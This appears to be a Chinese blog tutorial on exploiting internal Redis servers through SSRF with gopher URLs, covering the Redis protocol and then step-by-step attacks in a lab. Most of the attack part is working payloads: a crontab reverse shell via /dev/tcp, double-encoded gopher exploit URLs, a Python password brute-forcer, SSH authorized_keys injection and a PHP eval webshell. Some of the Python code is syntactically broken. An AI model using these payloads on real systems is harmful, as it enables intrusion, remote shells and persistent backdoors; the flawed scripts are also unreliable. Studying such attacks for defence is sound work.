zoukankan      html  css  js  c++  java
  • SSRF打内网redis

    0x00 redis基础

    REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统。
    Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
    它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。

    常见的几种攻击方式:
    1.利用计划任务执行命令反弹shell

    2.写ssh-keygen公钥然后使用私钥登陆

    3.往web物理路径写webshell

    0x01 redis安装


    1、安装redis
    apt-get install redis-server
    2、修改redis监听IP(如果不修改,不可远程登录),IP需要替换为自己的IP
    vim /etc/redis/redis.conf
    # 修改为以下内容
    bind 127.0.0.1 192.168.0.67
    3、启动redis服务
    service redis-server start

    0x02 redis入侵,反弹shell

    在开始讲攻击Redis之前,必须要理解Redis的客户端和服务端的通信方式,以及数据发送的格式,该目的的实现需要tcpdump的抓包功能。使用抓包软件来查看Redis客户端和Redis服务端的通信数据,找到语法结构后开始模拟客户端发送数据。

    1、使用tcpdump来完成抓包,命令如下:
    tcpdump -i eth0 port 6379 -w redis.pcap
    参数说明如下:(更多tcpdump的教程,参考[Tcpdump教程](https://www.runoob.com/linux/linux-comm-tcpdump.html))
    -i:指定网卡为eth0
    port:指定抓哪个端口的数据
    -w:将流量包保存为文件
    2、使用Redis客户端登录Redis服务端,命令如下(默认无密码):
    root@Kali-2018:~/tmp# redis-cli -h 192.168.0.119 -p 6379
    192.168.0.119:6379> get a
    (nil)
    192.168.0.119:6379>

    以上命令做了一个获取a对应的值是多少的操作,现在我们使用wireshark看一下抓到的包(使用追踪流-TCP流):
    上面非常多的内容就不放了

    *2
    $3
    get
    $1
    a
    -1


    如果不理解Redis的数据发送的数据包格式,是看不懂上面内容的,这里必须要讲这么几个内容:
    2.1、序列化协议:客户端-服务端之间交互的是序列化后的协议数据。在Redis中,协议数据分为不同的类型,每种类型的数据均以CRLF(\r\n)结束,通过数据的首字符区分类型。
    2.2、inline command:这类数据表示Redis命令,首字符为Redis命令的字符,格式为 str1 str2 str3 …。如:exists key1,命令和参数以空格分隔。
    2.3、simple string:首字符为'+',后续字符为string的内容,且该string 不能包含'\r'或者'\n'两个字符,最后以'\r\n'结束。如:'+OK\r\n',表示”OK”,这个string数据。
    2.4、bulk string:bulk string 首字符为'$',紧跟着的是string数据的长度,'\r\n'后面是内容本身(包含’\r’、’\n’等特殊字符),最后以'\r\n'结束。如:
    "$12\r\nhello\r\nworld\r\n"
    上面字节串描述了 “hello\r\nworld” 的内容(中间有个换行)。对于" "空串和null,通过'$' 之后的数字进行区分:
    "$0\r\n\r\n" 表示空串;
    "$-1\r\n" 表示null。
    2.5、integer:以 ':' 开头,后面跟着整型内容,最后以'\r\n'结尾。如:":13\r\n",表示13的整数。
    2.6、array:以'*'开头,紧跟着数组的长度,"\r\n" 之后是每个元素的序列化数据。如:"*2\r\n+abc\r\n:9\r\n" 表示一个长度为2的数组:["abc", 9]。数组长度为0或 -1分别表示空数组或 null。
    数组的元素本身也可以是数组,多级数组是树状结构,采用先序遍历的方式序列化。如:[[1, 2], ["abc"]],序列化为:"*2\r\n*2\r\n:1\r\n:2\r\n*1\r\n+abc\r\n"。
    3、经过上面内容的讲解,在回过头理解抓到的redis的包就很容易明白了。

    上面非常多的内容就不放了
    *2 数组长度为2
    $3 bulk string,代表字符串长度为3,就是get
    get 普通字符
    $1 bulk string,代表字符串长度为1,就是a
    a 普通字符
    -1 返回内容,-1代表null

    明白以上内容后基本就理清了思路,如果要给redis发命令,按照他的序列化规则即可。现在有一个大胆的想法,如果我用gopher去执行redis的命令呢?为了实现我们的想法,我们在Redis中加一个key,名字为name,值为Margin。命令如下:

    set name Margin


    此时,我们使用curl来发起gopher的请求,如下:

    curl gopher://192.168.0.119:6379/_*2
    $3
    get
    $4
    name

    将其转化为url编码

    curl gopher://192.168.0.119:6379/_%2a%32%0d%0a%24%33%0d%0a%67%65%74%0d%0a%24%34%0d%0a%6e%61%6d%65%0d%0a


    执行结果如下

    margine:~ margin$ curl gopher://192.168.0.119:6379/_%2a%32%0d%0a%24%33%0d%0a%67%65%74%0d%0a%24%34%0d%0a%6e%61%6d%65%0d%0a
    $6
    Margin


    那如果是在web漏洞中呢?如何利用?
    1、构造利用代码
    2、url转码
    3、再次url转码

    web环境我们还是使用上一节课的代码(curl_exec.php),代码如下:

    <?php
    $url = $_GET['url'];
    echo $url;
    #var_dump(curl_version());
    $curlobj = curl_init($url);
    echo curl_exec($curlobj);
    ?>


    这次我们发送的redis数据包是

    *2
    $3
    get
    $4
    name
    quit


    先对它进行url转码

    %2a%32%0d%0a%24%33%0d%0a%67%65%74%0d%0a%24%34%0d%0a%6e%61%6d%65%0d%0a%71%75%69%74%0d%0a


    注意一般要把%0a替换为%0d%0a(这里我们已经替换过了)

    进行二次编码

    %25%32%61%25%33%32%25%30%64%25%30%61%25%32%34%25%33%33%25%30%64%25%30%61%25%36%37%25%36%35%25%37%34%25%30%64%25%30%61%25%32%34%25%33%34%25%30%64%25%30%61%25%36%65%25%36%31%25%36%64%25%36%35%25%30%64%25%30%61%25%37%31%25%37%35%25%36%39%25%37%34%25%30%64%25%30%61



    然后构造利用代码

    http://192.168.1.105/curl_exec.php?url=gopher%3a%2f%2f192.168.1.101%3a6379%2f_%25%32%61%25%33%32%25%30%64%25%30%61%25%32%34%25%33%33%25%30%64%25%30%61%25%36%37%25%36%35%25%37%34%25%30%64%25%30%61%25%32%34%25%33%34%25%30%64%25%30%61%25%36%65%25%36%31%25%36%64%25%36%35%25%30%64%25%30%61%25%37%31%25%37%35%25%36%39%25%37%34%25%30%64%25%30%61


    进行请求

    成功读取到redis数据库键name的值

    monitor可以实时查看redis的日志

     接下来测试下反弹shell(没有用上面讲的redis的数据包格式,下面的格式也可以),命令如下:

    set mars "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.0.119/9999 0>&1\n\n\n\n"
    config set dir /etc/
    config set dbfilename crontab
    save


    上述命令的含义总结为,利用Redis的备份功能,将crontab的定时任务备份到/etc/crontab中,起到执行命令的效果,因为Linux会监测/etc/crontab的内容,当我们将反弹shell的命令加入进去后,变会被执行,具体解释如下:
    crontab是linux下的一个定时任务


    # 添加名为mars的key,值为后面反弹shell的语句,5个星号代表每分钟执行一次,开始和技术的\n必须要有一个,也就是前后各有一个,当然,多个可以,主要是为了避免crontab的语法错误。crontab知识可以参考:【https://www.runoob.com/w3cnote/linux-crontab-tasks.html】

    set mars "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.0.119/9999 0>&1\n\n\n\n"
    # 设置备份的路径为/etc
    config set dir /etc/
    # 设置备份文件名为crontab
    config set dbfilename crontab
    # 开始备份
    save


    进行二次url编码,结果如下

    http://192.168.1.105/curl_exec.php?url=gopher%3a%2f%2f192.168.1.101%3a6379%2f_%25%37%33%25%36%35%25%37%34%25%32%30%25%36%64%25%36%31%25%37%32%25%32%30%25%32%32%25%35%63%25%36%65%25%35%63%25%36%65%25%35%63%25%36%65%25%35%63%25%36%65%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%37%32%25%36%66%25%36%66%25%37%34%25%32%30%25%36%32%25%36%31%25%37%33%25%36%38%25%32%30%25%32%64%25%36%39%25%32%30%25%33%65%25%32%36%25%32%30%25%32%66%25%36%34%25%36%35%25%37%36%25%32%66%25%37%34%25%36%33%25%37%30%25%32%66%25%33%31%25%33%39%25%33%32%25%32%65%25%33%31%25%33%36%25%33%38%25%32%65%25%33%31%25%32%65%25%33%31%25%33%30%25%33%36%25%32%66%25%33%39%25%33%39%25%33%39%25%33%39%25%32%30%25%33%30%25%33%65%25%32%36%25%33%31%25%35%63%25%36%65%25%35%63%25%36%65%25%35%63%25%36%65%25%35%63%25%36%65%25%32%32%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%39%25%37%32%25%32%30%25%32%66%25%36%35%25%37%34%25%36%33%25%32%66%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%32%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%25%32%30%25%36%33%25%37%32%25%36%66%25%36%65%25%37%34%25%36%31%25%36%32%25%30%64%25%30%61%25%37%33%25%36%31%25%37%36%25%36%35%25%30%64%25%30%61%25%37%31%25%37%35%25%36%39%25%37%34%25%30%64%25%30%61

    1分钟后发现成功反弹shell。

    0x03 redis认证攻击


    以上为Redis未授权访问攻击,但如果Redis设置了密码呢?
    如果要执行命令的话,必须要有密码才可以,所以接下来的问题便是如何破解Redis的密码,首先想到的暴力破解。此时要研究下Redis如何验证身份信息。方法还是抓包,抓到认证的流量,重放即可。抓包发现:

    *2
    $4
    auth
    $6
    Margin


    可以翻译为认证命令为auth xxxx
    那么我们将redis的密码改为任意密码,我设置为Margin
    config set requirepass Margin
    将请求包改为

    auth Margin
    quit


    python代码变为

     1 #!/usr/bin/python
     2 # -*- coding: UTF-8 -*-
     3 import urllib2,urllib
     4 url = "http://192.168.0.109/ssrf/base/curl_exec.php?url="
     5 gopher = "gopher://192.168.0.119:6379/_"
     6 def get_password():
     7     f = open("password.txt","r")
     8     return f.readlines()
     9 def encoder_url(data):
    10     encoder = ""
    11     for single_char in data:
    12         # 先转为ASCII
    13         encoder += str(hex(ord(single_char)))
    14     encoder = encoder.replace("0x","%").replace("%a","%0d%0a")
    15     return encoder
    16 for password in get_password():
    17     # 攻击脚本
    18     "auth %s
    19     quit
    20     """ % password
    21     # 二次编码
    22     encoder = encoder_url(encoder_url(data))
    23     # 生存payload
    24     payload = url + urllib.quote(gopher,'utf-8') + encoder
    25 # 发起请求
    26     request = urllib2.Request(payload)
    27     response = urllib2.urlopen(request).read()
    28     if response.count("+OK") > 1:
    29         print "find password : " + password



    所以,在已知密码的情况下可以将攻击的python代码中加入认证的语句,如下:

    auth Margin
    set mars "\\n* * * * * root bash -i >& /dev/tcp/192.168.0.119/6671  0>&1\\n"
    config set dir /etc/
    config set dbfilename crontab
    save


    再次运行python脚本,便可成功反弹shell。

    0x04 写ssh-keygen公钥,用私钥登录


    在上面的内容中描述了如何使用Redis的数据备份执行命令,接下来讲解通过写入ssh-keygen公钥,使用私钥登录。思路还是利用备份,将私钥字符串备份到目标服务器.ssh目录下。
    要完成此操作,需要两个前提条件
    (1)Redis服务使用ROOT账号启动(可以临时执行sudo -u root /usr/bin/redis-server /etc/redis/redis.conf 来以root权限运行)
    (2) 服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。
    首先在本地生成一对密钥

     查看密钥的字符串,一会使用Redis的备份功能,将密钥字符串传到目标服务器。

    margine:.ssh margin$ cat id_rsa.pub
    ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDgDf+ah2WKGExLdwR/wb8959lZiiV+N0l55PxuwjkclpCAiZSXW8QSMmXPEyRazonnb63cLQHyOnB3u7IPRlqCcKIRnB3qX0GtgjPgDDQlda5pCY99tgtzPQ6qkaiOaxy6k6GQFdSYU5if2m4c/B1DlVSodw7F0sI+v8OG2iGy8UY2n+B049EKpgky45V96xhA9lIFi1tYJiLF7X6tx8l2Jf4OkC8y5am6P1lIG2vg2eraY6iXsCsE8D8Q2nYxdPT5ogKgdyjWULzbRMBjaPgxlgktv12cYjxqbIQhlUKGQxbBxIESf8sY+NMAODAwR4wBDl3thllYsHCzUf5c9yVR margin@margine.local

    构造payload,如下:

    config set dir /root/.ssh/
    config set dbfilename authorized_keys
    set margin "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDgDf+ah2WKGExLdwR/wb8959lZiiV+N0l55PxuwjkclpCAiZSXW8QSMmXPEyRazonnb63cLQHyOnB3u7IPRlqCcKIRnB3qX0GtgjPgDDQlda5pCY99tgtzPQ6qkaiOaxy6k6GQFdSYU5if2m4c/B1DlVSodw7F0sI+v8OG2iGy8UY2n+B049EKpgky45V96xhA9lIFi1tYJiLF7X6tx8l2Jf4OkC8y5am6P1lIG2vg2eraY6iXsCsE8D8Q2nYxdPT5ogKgdyjWULzbRMBjaPgxlgktv12cYjxqbIQhlUKGQxbBxIESf8sY+NMAODAwR4wBDl3thllYsHCzUf5c9yVR margin@margine.local"
    save
    quit


    进一步得到python代码为:

     1 #!/usr/bin/python
     2 # -*- coding: UTF-8 -*-
     3 import urllib2,urllib
     4 
     5 url = "http://192.168.0.109/ssrf/base/curl_exec.php?url="
     6 gopher = "gopher://192.168.0.67:6379/_"
     7 
     8 # 攻击脚本
     9 "config set dir /root/.ssh/
    10 config set dbfilename authorized_keys
    11 set margin "\\n\\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDgDf+ah2WKGExLdwR/wb8959lZiiV+N0l55PxuwjkclpCAiZSXW8QSMmXPEyRazonnb63cLQHyOnB3u7IPRlqCcKIRnB3qX0GtgjPgDDQlda5pCY99tgtzPQ6qkaiOaxy6k6GQFdSYU5if2m4c/B1DlVSodw7F0sI+v8OG2iGy8UY2n+B049EKpgky45V96xhA9lIFi1tYJiLF7X6tx8l2Jf4OkC8y5am6P1lIG2vg2eraY6iXsCsE8D8Q2nYxdPT5ogKgdyjWULzbRMBjaPgxlgktv12cYjxqbIQhlUKGQxbBxIESf8sY+NMAODAwR4wBDl3thllYsHCzUf5c9yVR margin@margine.local\\n\\n"
    12 save
    13 quit
    14 
    15 """
    16 
    17 def encoder_url(data):
    18     encoder = ""
    19     for single_char in data:
    20         # 先转为ASCII
    21         encoder += str(hex(ord(single_char)))
    22     encoder = encoder.replace("0x","%").replace("%a","%0d%0a")
    23     return encoder
    24 
    25 # 二次编码
    26 encoder = encoder_url(encoder_url(data))
    27 
    28 print encoder
    29 # 生存payload
    30 payload = url + urllib.quote(gopher,'utf-8') + encoder
    31 
    32 # 发起请求
    33 request = urllib2.Request(payload)
    34 response = urllib2.urlopen(request).read()
    35 print response

    0x05 写webshell


    经过上面文章的学习,对于写webshell来说便变得非常简单,要完成此操作,需要两个前提条件
    (1)当前运行redis的用户在web目录有写权限
    (2) 知道web目录的绝对路径
    步骤比较简单,原理还是利用Redis的备份功能,只不过这次是备份成webshell(redis所在的服务器需要phpstudy环境,参考Linux下phpstudy安装
    修改python中的payload,如下:

    "config set dir /var/www/html/
    config set dbfilename margin.php
    set margin "\\n<?php eval($_POST['margin']);?>\\n"
    save
    quit
    """


    此处不贴完整的python代码了,执行后可以看到目标主机有了margin.php文件,使用菜刀连接即可。

  • 相关阅读:
    跟我一起学Go系列:gRPC 全局数据传输和超时处理
    跟我一起学Go系列:Go gRPC 安全认证方式-Token和自定义认证
    c++中的继承关系
    数值型模板参数的应用
    [源码解析] 机器学习参数服务器Paracel (3)------数据处理
    [源码解析] PyTorch 分布式(2) --- 数据加载之DataLoader
    [源码解析] PyTorch 分布式(1) --- 数据加载之DistributedSampler
    [源码解析] 机器学习参数服务器 Paracel (2)--------SSP控制协议实现
    [源码解析] 机器学习参数服务器 Paracel (1)-----总体架构
    [源码解析]机器学习参数服务器ps-lite(4) ----- 应用节点实现
  • 原文地址:https://www.cnblogs.com/zzjdbk/p/12970519.html
Copyright © 2011-2022 走看看